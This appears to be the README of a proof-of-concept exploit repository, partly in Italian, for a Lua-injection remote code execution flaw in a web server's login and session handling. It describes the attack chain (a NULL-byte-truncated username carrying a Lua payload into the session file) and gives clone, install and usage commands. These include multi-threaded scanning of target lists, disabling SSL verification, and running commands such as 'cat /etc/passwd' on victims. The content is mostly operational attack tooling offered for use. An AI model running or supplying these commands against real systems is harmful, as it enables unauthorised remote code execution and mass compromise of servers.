1. POST /loginok.html
   username=anonymous%00]]<LUA_PAYLOAD>&password=

2. Il server autentica "anonymous" (troncato al NULL)
   ma scrive l'intero payload nel file di sessione → restituisce cookie UID

3. GET /dir.html  (Cookie: UID=<extracted_uid>)
   Il server carica il file di sessione → esegue Lua iniettato → RCE

git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests

python3 exploit.py -u http://TARGET

python3 exploit.py -u http://TARGET -c 'id'

python3 exploit.py -f targets.txt -o vulnerable.txt -t 8

usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
                  [-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
                  [-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
                  [--no-verify]

target:
  -u, --url URL           Single target URL (e.g. http://192.168.134.130)
  -f, --file FILE         File containing target URLs (one per line, # comments allowed)

exploit options:
  -c, --command COMMAND   Command to execute on the remote server (enables verbose output)
  -U, --username USERNAME Username for the exploit payload (default: anonymous)
  -P, --password PASSWORD Password for the exploit payload (default: empty)

output:
  -v, --verbose           Enable verbose / debug logging
  -o, --output OUTPUT     Save vulnerable URLs to this file
  -l, --log-file LOG_FILE Write detailed log to this file

network:
  -t, --threads THREADS   Concurrent threads for multi-target scans (default: 1)
  --timeout TIMEOUT       HTTP request timeout in seconds (default: 15)
  --retries RETRIES       Number of retries on connection failure (default: 2)
  --no-verify             Disable SSL certificate verification

# Verifica un singolo target
python3 exploit.py -u http://192.168.1.10

# Esegui 'whoami' e vedi output completo
python3 exploit.py -u http://192.168.1.10 -c 'whoami'

# Scansiona una lista con 8 thread, registra tutto in un file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt

# Usa credenziali personalizzate con verifica SSL disabilitata
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify

# Modalità verbosa per debug
python3 exploit.py -u http://192.168.1.10 -v